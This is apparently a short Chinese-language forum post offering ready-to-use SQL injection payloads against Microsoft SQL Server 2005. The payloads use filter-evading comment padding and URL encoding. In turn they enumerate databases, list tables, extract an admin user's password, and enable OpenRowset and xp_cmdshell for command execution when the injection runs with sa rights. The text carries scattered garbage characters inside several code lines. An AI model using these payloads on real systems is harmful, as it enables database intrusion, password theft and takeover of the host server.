MSsql2005注入语句

admin

7 h) M8 e3 M, a

[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
, |. }+ g' A* X; u2 I+ O0 g( o
爆表语句,somedb部份是所要列的数据库，红色数字1累加

- G0 ?2 G1 Z6 m' P4 ?& ^9 @) O
[Copy to clipboard]CODE:
: A# k- j' i/ Y! l/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
. {6 f2 i4 u' t) O1 S+ n' g* y
2 E0 j+ R+ q4 K7 \7 y9 l6 ^爆字段语句，爆表admin里user='icerover'的密码段

' A, Z* f. p% g) s% y
[Copy to clipboard]CODE:
$ p  y. k! O% [/ d9 z' K# Z**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
& h3 E# W! B9 r, G+ @) q4 D如果是sa权限，可以这样来开启
开启openrowset
% b1 h& w2 [# D( y: f; F3 u

3 ?9 a; ^1 {3 Q5 m4 _5 ~[Copy to clipboard]CODE:
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
* y$ i5 ^) n7 O: c' P: z* Z/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
3 H( ?; P! G" X0 V; m7 Y
7 }  Y# x# r9 |0 G! n开启xp_cmdshell


* a( l* S: G  J& D7 t1 B0 u( o+ `3 m[Copy to clipboard]CODE:
6 l) w1 d& F5 y' k+ t* Q& sEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
- H. k9 w$ ~! b" G9 z
ok,over~~晚安
( b8 r5 s  B: A' K8 P) t# k3 O( ~